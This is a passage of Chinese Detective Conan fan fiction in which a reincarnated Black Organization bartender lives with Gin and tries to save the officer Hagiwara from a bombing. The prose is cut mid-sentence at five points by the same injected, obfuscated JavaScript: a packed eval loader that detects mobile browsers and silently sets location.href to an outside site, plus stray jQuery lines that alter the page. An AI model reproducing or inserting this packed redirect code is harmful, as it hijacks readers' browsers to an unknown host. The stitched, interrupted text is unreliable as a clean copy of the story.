哦,我可没有把琴酒和我的对话代入到情侣吵架哦,我哪里敢呀!我是梦回了以前被长辈们教训的时候,他们骂我知不知道错了,我老实交代我知道错了,他们再问我错哪儿了,我答错了之后又是一场酣畅淋漓的教训啊……
想到这里,我对接下来的回答都谨慎了很多:“额错了,额真的错了,额从一开始就不应该嫁过来,不是,我从一开始就不应该搬过来,如果我不搬过来,如果我不搬过来——”
我小心翼翼地观察着琴酒面无表情起来的脸,试探着说:“如果我不搬过来,大哥就不会生气?”
琴酒的回答言简意赅:“不对。”
他继续看着我。
我懂,这个意思就是让我接着说,再找错处。
这么看起来,大哥确实还是温柔诶,他甚至愿意再给我一次机会而不是直接揍我!嘤,我大哥真的是很好的领导,这让我怎么能不给我大哥将来养老?我一定会如同孝敬……不是,尊敬我大哥的!
我绞尽脑汁,想了又想,终于急中生智:“那是因为我居然怀疑你是听了组织的命令让我搬过来吗?”
听了我的话,琴酒表情减缓。
一直都紧张盯着琴酒神色的我心头一松,但还是下意识问:“可是今天我问你之前,你就不开心了诶。”
不然我为什么要问琴酒嘛,搞得跟陷入了循环一样。琴酒不开心,我怀疑是因为组织命令,我询问,琴酒不开心,因为我询问……这对吗?
琴酒嗤笑一声:“你还能看出来我不开心?”
我瞪圆了眼睛,大为震惊:“当然了,我又不是笨蛋!”
琴酒不语,只是沉默地看着我。
我严肃地说:“大哥我觉得你对我有刻板印象,其实我挺聪明的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004846|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
琴酒反而笑出了声:“刻板印象?那你觉得我是受了组织的命令才让你搬过来,不算是你对我的刻板印象?”
琴酒的话让我的眼睛瞪得更圆,这下可是更加震惊了。
我忽然有了一个不可思议的想法。
但是那个想法实在是太过玄幻,根本就是不可能的。
除非这个世界疯了。
我咬了咬下唇:“不是因为组织,那是因为大哥你想让我搬过来,是吗?”
琴酒高贵冷艳地“嗯”了一声。
我又有了一个大胆的猜测,我低头看了下地板,才鼓足勇气问:“该不会,大哥你生气是因为,你只是忽然想要让我搬过来,但是我来了之后你又后悔了?”
后悔原因很简单嘛,就算是伏特加也没有那个荣幸能够住进琴酒的家。要忍受一个人与自己同处一室,那个人还是废物如我,对琴酒来说,实在是令人不耐的体验。
“不对,不是后悔,我大哥哪里是会后悔的人。”我又一口否决自己的想法,纠结地皱起脸,“那是因为什么?因为……”
“因为我也要适应家里有个你。”琴酒似乎是觉得最近几天一直都围绕着这个话题想来想去实在是太过厌烦,他将大掌扣在我的脑袋上,“跟你说过的话你一点也不会听进去。”
我呆呆地抬头看他:“什么话?大哥的事情,和我无关?可是你因为我的事情在不开心诶。如果我在这里会让你感觉不舒服,那我可以搬回去的。”
“你不是舍不得电梯?”
“可是我更不想让大哥不舒服。”我不舍,但下定决心,认真地说,“无论是因为组织,还是和组织没关系就是大哥你喝多了酒没醒,都是一样的。我……”
“没想让你搬回去,让你搬过来是我的决定。至于为什么。”琴酒忽然一顿,低头看着我,轻声说,“就当是我也有直觉吧。”
呆头鹅愣住:“什么?”
“如果一直让你住在那里,总感觉会出什么事情。”琴酒收起脸上复杂的表情,大掌从我的头顶挪开,撑在我身侧的手也收了起来,转身就走,“收起你这几天的胡思乱想,也别给自己找借口休息。”
确实总打着没睡好觉的旗号上班摸鱼比如偷偷跑去二楼包间睡觉的我:“……”
感动瞬间没了,可恶啊,无情劳模黑泽阵!
14.第十四章
30.
甭管琴酒有多无情,不许我再摸鱼,但是他的话还是给我吃了十足的定心丸。
至少我不用担心琴酒会把我赶回去,也不用担心琴酒会不开心会生气……他都说了是他的事,就说明我大哥自会自己把自己调理好。
虽说我也不明白琴酒说的直觉是怎么回事……但是,琴酒能在黑衣组织里摸爬滚打到现在的位置,执行任务从无败绩不说,也都是送别人上西天自己没出过事。除了他自己确实身手了得之外,我觉得,也肯定和他有很准的直觉很有关系。
尽管嘴上不说,琴酒是信他的直觉的,所以嘛——
还是那句话,琴酒大哥这么做,一定有他的道理。
没准他是感觉到我继续住在酒吧,会有生命危险之类的?比如说真有不长眼睛的碰上外面安保交接班的空隙入室抢劫?或者酒吧哪里短路了之类的发生火灾?Emmmmm地震也有可能?反正这里是柯学世界的东京嘛,尽管江户川柯南还没出现,但是一切皆有可能!
不过,我的直觉也很准啊,琴酒也是知道的,他还让我用我的超准直觉给他打过工,为什么我没感觉到危险呢?
不管了,美美桑内!
不用考虑那么多,有琴酒在,一切都不是问题啦!我对琴酒可是有百分百的信任。
既然琴酒在适应家里我的存在,那么,是时候给他加把火,让他快速适应了!
于是,在陆陆续续整理好我的房间后,我开始把魔爪伸向了公共区域。
琴酒是很有自我保护意识的,甚至可以说是谨慎得过了头。他在东京有很多处,至少据我所知就有很多处安全屋,而且他还保持着隔一段时间,比如几个月或者半年的频率就换几处常住安全屋的频率。
现在我搬过来的这处,满打满算起来,我也就比琴酒晚住进来一个月。
这么高频率的搬家自然也就意味着房子的装修会非常简单,就好比这个房子便是标准的样板间,可以直接拎包入住,也可以直接拎包走人。
我站在客厅,看着客厅里唯一不是样板房自带的家具——琴酒的高级音响,和我没搬过来的时候就摆过来的懒人沙发,开始研究还能折腾点什么装饰一下。
哦,不对,不能折腾太多东西,琴酒会搬家啊!我脸色一变,想到我的房间里刚购置的那堆东西更是眼前一黑。
诶,要是搬家的话,是不是也能让伏特加或者其他黑衣组织的人一起帮忙搬?我可不信琴酒会亲自大包小裹地搬家。光是想想琴酒有可能和其他人一样打包行李还搬东西,那画面,未免也太炸裂了吧?
琴酒,你也会和我们普通人一样用保鲜膜包厨具吗?
那包不会的。
我没控制住打了个寒颤。
蒜鸟蒜鸟,我知难而退地打消了想要折腾公共区域布置的念头,甚至还将把房间里的东西断舍离纳入了未来的日程规划中。
可恶,原本以为搬进琴酒家就能享受人生了,没想到居然还要感受租房党的痛苦,买个什么都要畏首畏尾!
毕竟没准下个月就有可能要搬家了,这算什么居无定所,四海漂泊,因为血液里有风就注定四海为家blablabla……要不是我心里还有点数,我都要心疼琴酒了。
冒昧了哈,琴酒也是需要吾等凡人心疼的人吗?
我想来想去,也不想就这么收手,什么都不做的话,搞得我很没面子诶!虽说除了我之外也没人知道我想要折腾琴酒的家,但是我不管,我还是得买点什么。
于是我去超市大购物,塞满了家里的冰箱,还在客厅放了个零食柜,顺便下单了在购物车里种草许久但是原本阁楼里没地方放的懒人沙发。
顺便……
“这就是你说的惊喜?”琴酒斜眼睨了我一眼,闭了闭眼,才把脱下来的风衣交给在他身边伸手已久的本狗腿。
心满意足拿到琴酒的黑色风衣,我屁颠屁颠地跑过去把风衣挂起来,再屁颠屁颠地跑回到琴酒身边。
我伸长双臂,在被我摆在玄关的花瓶旁边晃悠着两只手,炫耀花瓶里插着的白色和粉色的百合,用力呼吸,抽动着鼻翼说:“大哥,你没闻到香味吗?百合花放在这里,一进门就香香滴!”
琴酒不解风情:“所以呢?”
“所以这多好啊,百合,好得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011150|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很!”
“好在哪里?”
“这花香,闻了多凝心静神啊!”我说着百合的好处,忽然露出了神秘微笑,跟打广告一样字正腔圆地说,“百合,女人不老的秘密——”
琴酒无语:“什么乱七八糟的,你就把这东西说成是有重要的东西给我看,非要我今天早点回来?”
“哦,那当然不止了。”我连忙摆手,顺便为了证明自己,急得直接拉着琴酒就大步往家里走,着重给琴酒展示了我的购物大作,比如各种食物,再比如新购置的……一系列花瓶。
还有插在花瓶里的花。
琴酒还是那么不解风情,他反手拉住还想要拉他进我房间的我的手腕:“够了,你这是把家里当成花店了吗?”
“那倒没有,花店里怎么可能就这点花。”我大手一挥,“这还差得远呢!”
琴酒眯起长眸,把我拽到他面前,冷笑一声:“你以为我在夸你吗?”
我故作无辜地眨眨眼睛:“难道你不该夸我吗?现在家里多生机勃勃呀。还是说比起花,大哥你更喜欢草?那可以,不如我从今天开始在家里种点什么。”
琴酒双眼中祖母绿色的深潭锁定我,等我都感觉后背发毛了才面无表情地开口:“下次再把这种东西当成重要的事……”
我眨巴了两下眼睛,实际上咽了下口水,简直都要呼吸不过来了QAQ
琴酒可能是怕我憋死,他松开握着我手腕的手:“你最好没有把那些东西摆到我的房间。”
“那我倒是真的不敢。”我小声说,“大哥需要隐私,我懂的。”
琴酒:“……”
琴酒没理我,因为琴酒刚想继续教训我,就接了个电话,也不知道电话那边发生了什么事情,总之最后他让我自己解决晚饭,记得明天去上班,就走了。
那个语气和神态,怎么说呢,有点该死的熟悉。
按照我对琴酒的了解,应该是给不省心的下属收拾烂摊子去了。
躲过一劫的我松了口气。
看起来,琴酒生气了,但不是完全生气,这是不是说明,被搬进琴酒家间接打断的计划可以继续了?
15.第十五章
31.
我重生的日子,是柯元前七年,是三瓶威士忌还没进场的那一年,是警校组毕业的那一年,也是萩原研二牺牲的那一年。
同时,还是爆.炸案发生的前三个多月。
我倒不是有什么圣母情结,会无私爱所有人,想要救下所有人之类的,也不是有白骑士综合症,需要靠着帮助别人、拯救别人来获取自我价值。
我想要救萩原研二的原因实在是太简单不过,就是我想救他,因为我喜欢他,我曾经为他的牺牲哭了很多次。他是一个很优秀的警察,他不应该就这么死掉。
但是,问题不是我为什么想要救他,问题是我该怎么救他。
我只是一个因为过度废物被扔到酒吧的酒保,是黑衣组织的底层成员,连个代号都没有。就算有原著剧情的加持,可是原著剧情里,也只给过落网的炸.弹犯的样子,根本就没有名字介绍。
那个人还长得那么丑,我就记得他戴个眼镜了,再加上2D动画变成3D真实的话,没准他出现在我面前我能认出来,可是要我去找,实在是太难了。
我要是真有这本事,早就被培养我的黑衣组织派去干其他脏活了。
更不用说,我还刚被派到酒吧工作,负责带我的还是琴酒。
琴酒诶,那可是琴酒,我当时觉得我的当务之急就是在琴酒底下活下去,根本没有力气和手段去研究该怎么救人。
怎么做到废物到琴酒放弃栽培我去杀人放火(不是),又不至于过分废物到琴酒觉得我太辣鸡了直接把我扔去到人体耗材,我真的苦苦挣扎了很久。
挣扎了两个月,我终于确定,黑衣组织纯血成员的身份,能保我在琴酒那里不死,只要我不被他发现有想要脱离黑衣组织的念头。
那么问题来了,想要救一个警察,尽管是拆.弹警察,算不算背叛黑衣组织呢?
当然算的。
所以不论再怎么没办法,我也不能借助黑衣组织的情报网来找到该死的炸.弹犯,比如说通过查黑市售卖的炸.弹材料之类的,我只能靠自己。
废物该怎么靠自己呢?
等终于有精力考虑救济大业,距离案发时间就只剩下了一个月。不会黑客技术也没有结识阿笠博士,废物如我选择了最笨的方法,就是冒着被黑衣组织发现和怀疑的风险给警视厅发传真提醒。
倒没有笨到用黑衣组织的酒吧的设备发传真,我用的是距离酒吧好几个街区之外的公用设备,而且是每次发都会换一个,又做了伪装,绝对不会被定位到我这个人。
只是,发传真的规划还是要停了,倒不是因为我搬到了琴酒家……
好消息,东京警方加强了对于辖区内的巡逻,尤其会调查疑似爆.炸物的物体。
坏消息,因为我弄巧成拙,反而让日本警方怀疑我和炸.弹犯是一伙的。
……这难道就是黑衣组织成员的宿命吗?灰原哀口中的黑衣组织的家伙都有一股特殊的味道什么的,怎么做好事也会被怀疑是大坏蛋啊!!!
偶然从来酒吧喝酒的卧底在警察系统的成员口中听说他最近的工作重点是排查警告日本警方的传真发送者时,我真的疑似失去所有力气和手段。
并且又一次意识到了我真的是个什么都做不了的普通人。
但是,我还是想做点什么。
抱歉,让帅哥领便当的事情,我做不到。
32.
没关系的,必要的时候,我可以不是开门英子,而是陆依萍。
就是表情包的那个写日记说“我不会被困难打倒”的陆依萍。
就算被怀疑和炸.弹犯一伙我也认了,既然迂回提醒没有用,那我就直接A到萩原研二和松田阵平面前让他们小心小命好了。
而且十分幸运嗷,琴酒和伏特加11月初要去大阪出差,这意味着我有更自由的时间可以去蹲守和提醒他们两个。
为了欢送
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018672|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
(?)琴酒出差,我甚至帮琴酒收拾了行李!
就是收拾好了之后,琴酒不识好英心,他告诉我他出门不用行李。
“啊?怎么会有人出门不用带行李???”我大为震惊。
琴酒看我就跟看狗一样:“我是去做任务,不是去旅游,带什么行李?”
我还是无法理解:“大哥你们不是要去很多天吗?什么都不带?换洗衣服都不带?”
哦,对了,说起换洗衣服……嘿嘿,嘿嘿,嘿嘿嘿!
我的笑容不受控制地逐渐变态。
琴酒危险地眯起长眸,冷声叫着我的名字:“开门英子。”
我下意识:“到!”
“收起你的表情。”
我撇撇嘴:“哦。”
“从我房间里出去。”
我又撇撇嘴:“哦。”
琴酒不悦:“还不走?”
我撅起嘴,多少有点委屈地抱怨着说:“大哥你好歹带点东西吧?我辛苦在你房间里收拾了那么久的行李诶,你什么都不带,那算什么?算我是勤劳的小蜜蜂吗?”
太过分了,既然不用带行李,那琴酒怎么就眼睁睁看着我把衣服叠来叠去?他都不制止我的吗?
琴酒忽然笑了一声,笑得我浑身发毛:“我就是想看看。”
我不明所以:“啊咧?”
可能是错觉吧,我居然感觉琴酒此时此刻浑身都散发着愉悦的气息:“想看看蠢货想往我的行李箱里装多少用不上的东西。”
好吧,还真是错觉,他居然觉得我给他精心准备的精致女生常用的酒精湿巾、便携加湿器、自动除螨仪都是用不上的东西。
琴酒你这辈子都做不了精致男生!我哼了一声,气呼呼地走了。
没品的家伙!
“回来。”
“啊啊啊啊啊大哥我错了我没有摔门我就是轻轻一关都是屋子里有邪风的错啊你听我狡辩啊啊啊啊啊!”
16.第十六章
33.
我其实在警视厅门口把自己伪装得严严实实地蹲了好几天,只是或许我和萩原研二跟松田阵平还是不够有缘,我根本就没蹲到他们两个。
压力一下子就来到了11月7日这天。
发愁得一晚上都没睡着的我睁眼到天明,所以也顾不得会不会有可能碰到黑衣组织对我眼熟的卧底,直接在他们上班时间出现在了警察宿舍通往警视厅的必经之路上。
我把口罩往上面提了提,又把围巾往上面提了提,一边张望着走过来的人群里有没有熟悉的两张脸,一边从口袋里找出了一个白水晶吊坠。
这是我昨天收到的据说能够保平安的魔法水晶,来自魔女小姐。
魔女小姐自称是伟大的魔女大人,是我在某个论坛里认识的网友。我们两个当初在论坛里为了世界上到底有没有平行世界这个话题一起舌战群儒,战争胜利后通过私信加上了line好友,直接就是一拍即合。
坦白讲,魔女这种存在,我确实第一反应就是还以为我遇到了小泉红子,就是那个主要在《魔术快斗》片场出现的魔女,不过,我很快就打消了这个念头。
因为魔女大人虽然遣词造句都十分中二,但是她说她是个高中生,而小泉红子这时候还是小学生才对。
霓虹高中生,中二,太正常不过了。
我中二期的时候都还幻想过自己会是拯救世界的马猴烧酒呢。
——尽管我现在也还在中二地想要拯救警校组,从萩原研二开始?
由此可见,我和魔女小姐是真的投缘,所以我更不信她是小泉红子了。总不能,活了两辈子的本大人,还能和小学生聊得无比投机吧?
我给自己接下来的行动规划了一个剧本,就是我装作神婆突然拉住萩原研二和松田阵平,假装给他们算命,说点警校组之前在警察学校里发生的事情博取他们的信任,然后把水晶吊坠送给萩原研二意思就是我不是骗人的我是来救人的,然后让他们拆弹的时候小心。
就算他们不信我,就算他们不收下水晶吊坠,在真的发现有炸.弹的时候,总能想起我这么个突然出现的奇怪女人吧?
哪怕是把我当成炸.弹犯的同伙也好,我都认了,只要他们能小心一点就好。
再说了,万一魔女小姐的魔法真的有用呢?万一真能救了萩原研二一命呢?
人在无助的时候总会相信玄学,而且不巧,我真的现在蛮无助的。
三个月的时间,适应黑衣组织的生活就已经够让我筋疲力尽,不然三个月的时间,我应该更努力一些,而不是现在临时抱佛脚。
还抱不到,因为找不到人。
急得我踮起脚,试图看到更远的地方有没有熟悉的人影过来。
别说,好像还真的看到了卷毛和长一点头发的男人?
我眼睛刚刚眯起来,手机却突然响了。
居然是琴酒。
“大、大哥?”在上班的警察人群中接犯罪组织第一杀手的电话实在是太超过了,心虚的我本能地就蹲下来才敢接电话。
“居然醒着?”电话那头的男声顿了顿,才压下惊讶的情绪,恢复了平静的语气,吩咐我说,“去把客厅茶几上放着的文件送到科恩那里去,他的定位伏特加会发给你。”
我一愣,差点就暴露自己在外面:“可是我现在不在家里诶。”
琴酒和伏特加已经出差去了大阪,所以这几天晚上我都是按照琴酒之前的安排,住在酒吧里的。琴酒没有太多怀疑:“给你留了时间从酒吧到家里,快点。”
“啊?可是——”
没有可是,因为琴酒干脆利落地挂断了电话。
下一秒,伏特加关于科恩定位的消息就发了过来,还附赠了时间。
时间确实是充裕的,还够我换衣服和吃个早饭。但是前提是我身处酒吧,而我如今是在警视厅附近。如果要在规定时间把文件送给科恩,这说明我现在就要赶紧出发,要打车,还要一路小跑。
现在,摆在我面前的是两个选择。
一,继续蹲守萩原研二和松田阵平,这样有可能可以救下萩原研二。
二,去给琴酒送
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024030|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东西,这样才有可能救下我的命。
如果不在规定时间把文件送到,搞砸了黑衣组织的任务,琴酒一定会查我怎么路上耽搁了那么长时间。一旦查到了我是来了警视厅,那我就完蛋了。
纯血黑衣组织孤儿的身份都救不了我了。
我一咬牙,下定了决心。
34.
我是个自私的家伙。
我选择保住自己的命。
35.
“啊,小心!”
站起来太急了,再加上空腹,我眼前一黑,差点直接摔到地上。
幸好我身边都是赶着去上班的警察们,我被两个不知名的人民公仆眼疾手快地扶住,还由于惯性,一头栽进了其中一个人的怀里。
呃呃呃呃呃,怎么说呢,触感很好。
要不是我有急事,我可能会直接碰瓷,赖在他怀里多蹭几次紧实的腹肌什么的,这是可以说的吗?
只是很遗憾,现如今我连今天本来的目的拯救萩原研二都顾不上,更别提给我自己谋福利了。
我含恨推开(手很诚实地摸了摸)(还两个都摸了)(顺手的事),甩下一句抱歉,就急匆匆地跑了。
也不只是一句抱歉,不知道为什么,我还压低声音说了一句:
“告诉hagi穿好排爆服和小心哑炮!”
“诶?你怎么——”
“小姐,等等!你的东西——”
突然刮起的风太大,以至于我根本听不清那两个警察说了什么,我也顾不得听,一心只有拦出租车。
还有保命要紧。
36.
好消息,我踩着点在规定时间结束前把琴酒要的文件交给了科恩,没有被任何人怀疑有问题。
坏消息,爆.炸还是发生了。
37.
“大哥,你回来啦!”我蹦蹦跳跳地过去,伸手想要接过琴酒准备脱下的风衣。
琴酒抓住我双手捧着的风衣,没有直接放我走,而是凑近我,冰冷的绿眸闪出似笑非笑的光:“你好像很开心?”
17.第十七章
38.
我的眼睛亮晶晶的,要不是没那个条件,估计都能把身后的尾巴摇出花来。我用力点头,笑容大到都能咧到耳后根。
可以说,这是我来到这个世界以来,最开心的一次。
可能是被我的快乐感染了,琴酒的语气里都带了几分愉悦:“什么事这么开心?”
“当然是因为大哥回来啦!大哥,我们已经有三天零五个小时二十八秒没有见面了。都说度日如年,我这是度秒如年,没有大哥的日子我怎么过?我略过错过难过爱过恨过忍过晕过熬过睡过,我闭门思过得过且过一笑而过擦肩而过当面错过,我大人不记小人过……诶,别打我啊,大哥你大人不记小人过!”
眼看着琴酒的眉头不悦地蹙起来了,我直接切断话茬,熟练地抱着脑袋护住头顶跑掉。
嘻嘻,我当然是骗琴酒的啦!
我开心的是萩原研二还活着。
爆.炸确实如约而至,但是新闻报道是没有人员伤亡,这其中还包括了过去拆除炸.弹的爆.炸物处理班的警察。
担心有什么瞒报谎报,我还联系了内部人员确定。那家伙对我倒没有什么怀疑,可能因为我们认识的时候正是我研究东京房价的时候,他还以为我是看好了被炸掉的那栋公寓的房子才会问得细了一些。
这个想法有点离谱吧?我也觉得,但是都没需要我误导,这个想法是他自己脑补出来的,我就只是默认而已。
毕竟,怎么样也不会想到,从小到大都是在黑衣组织里长大的,除了黑衣组织的人之外都不怎么认识的我,会真的关心起有没有警察受伤吧?他更不会想到,我还关注的是具体的人。
再细一点的情况就不知道了,比如为什么爆.炸和原著剧情一样,但是却没人受伤,他们为什么会提前撤离那栋公寓大楼……
黑衣组织埋进去的卧底不是爆.炸物处理班的,更没有参与今天的行动,他最多就是能告诉我确实警察也没有出事的,就只是炸.弹犯还逍遥法外而已。
什么都不知道,反而让我有点飘飘然,至于原因嘛——
好吧,我开心的不只是萩原研二还活着,还有剧情改变了,是不是因为我呢?
既然不知道具体原因,那让我往自己身上邀功合情合理吧?
尽管没有见到萩原研二和松田阵平本人,没有当面按照我的剧本演绎一番,但是我匆匆离开前甩下的话被那两个好心警察转告成功了?
区区一句话就能扭转一个人……一群人的命运,我可真厉害啊!
这么厉害的开门英子,绝对不会是普通人。
那既然我这么厉害,是不是我也可以……?
一颗心又在蠢蠢欲动了。
39.
开心得蠢蠢欲动也不妨碍我继续干活,啊,我是指把琴酒的衣服挂起来。
说起来你们可能不信,琴酒他……有一个衣柜的黑风衣,还是一模一样的黑风衣。没错,就是因为存货很多,所以琴酒才会一出场就是黑风衣,不论春夏秋冬,直接就把黑风衣跟他自己形象焊死。
不过也合情合理,要是只有一件黑风衣,穿来穿去,岂不是穿包浆了?这一点也不符合琴酒形象嘛!
而且我怀疑琴酒买很多黑风衣,就是他懒得洗衣服,更懒得把衣服送去干洗店。反正他经常执行任务,难免衣服脏了或者是沾上血,比起想办法把污迹搞掉,对财大气粗的琴酒来说,还不如直接扔了换新的。
这件衣服我估计是执行任务之后琴酒他新换的,看上去没什么脏东西,我也没在上面闻到血腥味,完全可以挂起来明天继续穿,也算是该省省该花花了。
我拍拍挂好的黑风衣,刚打算回到琴酒身边,手却好像打到了硬硬的东西。
不是伯.莱.塔的触感,听起来有点像铁盒子的声音,似乎形状还是圆形的。圆形的铁盒子?琴酒衣服里为什么会有这个?
我疑惑地歪了下脑袋,手指蠢蠢欲动想要掏出来看看到底是什么东西,又担心是什么任务物品或者是什么组织的东西,总之不能碰,碰了可能会有危险之类的。
再说了,琴酒的口袋,这是我能随便翻的吗?
哦,桥豆麻袋,为什么不是呢?
我恍然大悟地用拳头敲上掌心,破案了,真相只有一个!心机之蛙一直摸肚子!
琴酒都能放心把装了东西的衣服交给我,那就是不怕我翻东西,甚至有可能就是让我去翻的。
“大哥,你衣服口袋里好像有东西,我可以拿出来吗?”嘴上这么征询琴酒的回答,实际上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029659|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的手已经诚实地摸进了黑色风衣的口袋,并且成功地把东西拿出来了。
是一个圆形的铁盒子,盒子顶部是粉色的包装,正中央是一个樱花的图案,外面围了一圈片假名。
好眼熟的东西,我下意识眯起眼睛,把盒子放在耳边晃了晃,听到里面噼里啪啦的声音,应该是装了很多小东西。
“大哥?这是什么?”其实已经猜到是什么了,但是我还是噔噔噔跑到琴酒门前,很礼貌地敲了三下门,大声问。
“什么?”
也是,隔着门板哪里知道我在说什么。我想都没想,就不管琴酒没说“请进”——呵呵,琴酒能说“请进”那真是太阳打西边出来了,很没素质地就推开了门,捧着小盒子问:“这是金平糖吗?是大哥你给我带回来的大阪特——”
“大阪特产”这四个字没能说全,比起把话说全,我先更本能地咽了下口水。
无他,如果你也是和我一样,推开门就看到衣服脱到一半的琴酒,你也会呆呆地咽口水的。
银发男人骨节分明的手指落在黑色毛衣下摆上,我推门进去的时候,他刚好把毛衣从腰间掀起,于是猝不及防撞入我视线的就是他的小腹。皮肤紧实,是常不见天日的冷白,在灯光的照射下几乎泛着釉质的光泽。
腹肌的轮廓清晰又深刻,如同被最锋利的刻刀精心雕琢过,不是那种健身房和蛋白粉堆砌出来的浮夸,而是长久训练造就的蕴含纯粹爆发力的精悍线条。上面数道长短不一、深浅也不一的暗色伤疤破坏了堪称雄性完美身体的表象,却诡异地释放出一种更强烈、更原始的诱惑力。
那种刀尖上行走,与死亡擦肩而过的诱惑。
我的视线不受控制地向下,从他紧窄的腰线上到凌厉的人鱼线,再最终没入下方的裤腰边缘。
我的目光是真的赤裸裸,但是琴酒却动作没有任何停顿地飞快脱掉了毛衣,银色的长发遮住饱满的胸肌轮廓。
这叫什么,犹抱琵琶半遮面——
“蠢货。”琴酒冷嗤一声,随手把衣服扔到地上,修长的手指已然探向腰间,精准地挑开皮带扣,发出轻微的、金属咬合的“咔哒”声。
他抬眼,深绿色的眼眸如同猎豹锁住猎物蓄势待发一样盯住我,警告我:“还不走?”
18.第十八章
40.
被琴酒这么一提醒,我马上就单手捂住了双眼,就是手指很诚实地分出缝,露出了一只炯炯有神的眼睛。
身体很听话,呃,身体更诚实。
要不是我有理智,我会真的怀疑琴酒是在going我。
但是我觉得琴酒现在可能没有理智,或者是做任务太累忙昏头了。
笑死,他居然觉得我会走。
我没冲过去摸两把而是只是用眼睛吃豆腐就已经很克制了好不好?要不是怕大哥的伯.莱.塔——
哦,对了,伯.莱.塔在风衣里呢,我之前挂衣服的时候摸到了。
所以这就说,琴酒此刻可以说是身无寸铁。
好巧,我也是身无寸铁。
蠢蠢欲动的我眼睛一下子就更亮了,认真地问:“大哥,现在我们两个都没有武器,你知道我们打起来会是几几开吗?”
琴酒的动作顿住了,挑起眉问:“嗯?”
他这个语调有点惊讶,可能是没想到我居然还有胆子想要跟他打架。
我嘿嘿一笑,自问自答:“当然是二八开。”
不等琴酒有反应,我继续补充道:“我是指大哥一分钟可以打死八个我,剩下的一分钟用来给我和我的分.身们收尸。”
琴酒:“……所以你还不滚?”
已经被这么警告了,我还是忍不住往琴酒身上瞄。
这种本能实在是控制不住。
尤其是在,尽管我们黑衣组织的人都比较,呃,开放,但是也是有保守(?)的,就比如说认识琴酒这么久了 ,我还是第一次看到琴酒的半果体。
虽然琴酒这个名字和保守连线在一起简直是要多古怪就有多古怪,堪比把我开门英子和社恐组合在一起。
但是必要时我也是社恐的,所以说琴酒保守也没问题?
社交恐怖分子也是社恐!
我的目光在琴酒的腹肌那里跃跃欲试,一不小心往下瞄了一眼,直接倒吸了一口冷气。
哦,倒也不是注意到了琴酒的某个部位,是我注意到了琴酒那还没完全解开的皮带。
确实,琴酒现在是手无寸铁,但他并非没有武器啊,皮带不是现成的吗?
没有真的受虐的倾向,眼睁睁看着琴酒的手就又落到了皮带上,见好就收的我恋恋不舍地与琴酒的胸肌腹肌人鱼线进行了最后的告别,才往后退。
“臣退了,臣这一退,就是——”我突然一顿,又溜回来了。
琴酒冷笑一声:“还不走?那就……”
“不是不走,而是缓走、慢走、优走,有次序地走,让有能力的人先走——”
“说人话。”
我一噎,咳嗽了两声才清清嗓子,举起了手里被我遗忘很久的铁盒子:“我这次来可是有正事的。大哥,这是你给我带回来的大阪特产吗?”
琴酒的眼神淡淡地从我手上的铁盒子上划过,最终落在我满是期待的笑脸上,动了动嘴唇:“伏特加买的。”
“懂了,那就是大哥授意伏特加去买的。大哥你果然心里有我!”我顿时满含热泪,“这和打猎回来有什么区别啊?”
“不是你在我们走之前就差打滚,非要我们给你带东西回来?”琴酒冷酷无情,还一脸嫌弃,“吵死了。”
对此我充耳不闻,只是一味地继续满眼热泪:“人,下次还要记得打猎回来带东西啊!”
琴酒:“滚。”
41.
